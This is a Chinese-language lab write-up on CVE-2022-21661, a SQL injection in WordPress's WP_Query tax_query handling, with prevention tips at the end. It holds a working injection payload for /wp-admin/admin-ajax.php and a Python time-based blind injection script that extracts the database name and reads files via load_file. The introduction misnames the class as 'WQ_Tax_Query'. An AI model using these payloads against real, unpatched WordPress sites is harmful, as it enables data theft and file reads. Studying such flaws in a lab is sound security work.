CVE-2022-21661

简介

CVE-2022-21661是一个与WordPress相关的漏洞,涉及到SQL注入问题。该漏洞主要源于WordPress的WQ_Tax_Query类中的clean_query函数,可能允许攻击者通过控制传递给该函数的数据来控制生成的SQL查询,从而执行任意的SQL代码。

当WordPress的执行进入WQ_Tax_Query类的get_sql函数时,会调用transform_query函数来处理接收到的数据,并将其组合成SQL查询中的条件。然而,如果攻击者能够控制clean_query的返回数据,他们就可以控制SQL查询的执行。

具体来说,WQ_Tax_Query类中的get_sql、get_sql_clauses、get_sql_for_query和get_sql_for_clause等函数可以接收并处理传递给它们的数据,并将其用于构建SQL查询。然而,如果在传递给这些函数的数据中存在某些特定的控制字符或序列,攻击者就可以尝试修改生成的SQL查询,从而执行他们自己的恶意代码。

例如,如果攻击者在传递给clean_query函数的数据中插入某些特定的控制字符或序列,他们就可以尝试修改生成的SQL查询,从而执行他们自己的恶意代码。在某些情况下,这可能会导致攻击者能够执行任意的SQL代码,从而对数据库进行访问或修改

靶场介绍

2022年1月6日,wordpress发布了5.8.3版本,修复了一处核心代码WP_Query的sql注入漏洞。WP_Query是wordpress定义的一个类,允许开发者编写自定义查询和使用不同的参数展示文章,并可以直接查询wordpress数据库,在核心框架和插件以及主题中广泛使用。源码位置:www.tar

漏洞利用

1.打开场景,下载源码

2.根据官方公布,漏洞存在路径/wp-admin/admin-ajax.php,进行访问

3.判断方法,post提交action=函数名,当调用方法正确即调用的WP_Query的构造方法的action无回显,当调用方法不对或者不存在返回0。

4.开启调试模式poc

复制代码
action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}

5.exp

复制代码
import requests
import time

def time_delay(url, headers, payload):
    start_time = time.time()
    response = requests.post(url, headers=headers, data=payload)
    end_time = time.time()
    #print(end_time,start_time)
    delay = end_time - start_time
    return delay

def time_based_blind_sql_injection(url, headers):
    result=[]
    for i in range(1, 100):
        for j in range(32,126):#r'0123456789abcdefghijklmnopqrstuvwxyz_-{}':
            #find db
            #payload = """{"id":" (if((substr(database(),%d,1))='%s',sleep(10),1))#"}""" % (i, j)
            #find table
            #payload = """{"id":" (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1))=%d,sleep(10),1))#"}""" % (i, j)
            #find table -wp%
            #payload = """{"id":" (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not like 0x777025),%d,1))=%d,sleep(10),1))#"}""" % (i, j)
            #find column
            #payload = """{"id":" (if(ascii(substr((select count(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(10),1))#"}""" % (i, j)
            #payload = """{"id":" ()#"}""" % (i, j)
            payload = """action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1) or (if(ascii(substr((select database()),%d,1))=%d,sleep(10),1))#"]}}}""" % (i, j)
            payload = """action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1) or (if(ascii(substr((select load_file('/flag')),%d,1))=%d,sleep(4),1))#"]}}}""" % (i, j)
            delay = time_delay(url, headers, payload)
            print('{ ',''.join(result),' } -> @',i,'-',j,"time_delay:",delay)
            if delay > 4:
                result.append(chr(j))
                print(''.join(result))
                break
    else:
        print("The payload is not vulnerable to SQL injection.")
    print('result:',''.join(result))

if __name__ == "__main__":
    url = "http://eci-2ze5vwsprrajw37m4s5i.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"
    headers = {
    'Cache-Control': 'no-cache, must-revalidate, max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Cookie': 'Hm_lvt_2d0601bd28de7d49818249cf35d95943=1700540775,1700564324,1700612154,1700705633; _ga=GA1.2.959161918.1696849239; _ga_J1DQF09WZC=GS1.2.1696849239.1.0.1696849239.0.0.0; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; ci_session=9c000c680a124d4c70cd5cd818dc95d373e61b93; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1700705649',
    'Connection': 'keep-alive',
    'Content-Type': 'application/x-www-form-urlencoded',
    }
    
    time_based_blind_sql_injection(url, headers)

6.结果

预防

为了防止CVE-2022-21661漏洞和其他SQL注入攻击,可以采取以下几种措施:

  1. 输入验证和过滤:对用户输入的数据进行严格的验证和过滤,确保只接受预期的数据类型和格式。这可以通过服务器端和客户端的验证实现。
  2. 参数化查询和预编译语句:使用参数化查询和预编译语句可以防止攻击者修改原始查询。这可以防止SQL注入攻击,因为参数值不会被解释为SQL代码。
  3. 使用最新的版本和补丁:及时更新软件和应用程序,并应用最新的安全补丁。这可以修复已知的漏洞,并提高系统的安全性。
  4. 限制数据库用户的权限:将数据库用户的权限限制为仅能执行必要的操作,并禁止执行其他可能不安全的操作。
  5. 加密敏感数据:对敏感数据进行加密,以防止攻击者访问和利用这些数据。
  6. 配置安全设置:根据应用程序的需要,配置安全设置,例如禁用不必要的数据库功能、限制远程访问等。
  7. 定期备份数据库:定期备份数据库,以防止数据被篡改或丢失。
  8. 安全审计和监控:定期进行安全审计和监控,及时发现并修复潜在的安全问题。
相关推荐
Hello.Reader2 小时前
Flink Process Table Functions(PTF)实战详解:把 SQL 变成“可编程算子”,状态、时间、定时器一把梭
网络·sql·flink
武昌库里写JAVA5 小时前
在iview中使用upload组件上传文件之前先做其他的处理
java·vue.js·spring boot·后端·sql
emma羊羊5 小时前
【AWVS】漏扫工具
网络·安全·web安全·awvs
尋有緣5 小时前
力扣614-二级关注者
大数据·数据库·sql·oracle
石工记6 小时前
对称加密 vs 非对称加密图解详解
java·网络安全
l1t6 小时前
在postgres和duckdb中比较两个数组并只挑选不匹配的元素
数据库·sql·postgresql·数组·duckdb
网安INF7 小时前
入侵检测系统(IDS)解析
网络·网络协议·安全·网络安全·ids
宁小法8 小时前
SQL查询对比: select exists($sql) 跟 select * from `users` where `id` = 60000001的区别差异
数据库·sql·select exists
网安INF9 小时前
典型网络攻击分析:ARP欺骗与TCP劫持
网络·网络协议·tcp/ip·安全·网络安全
不剪发的Tony老师9 小时前
sqlectron:一款轻量级的SQL客户端
数据库·sql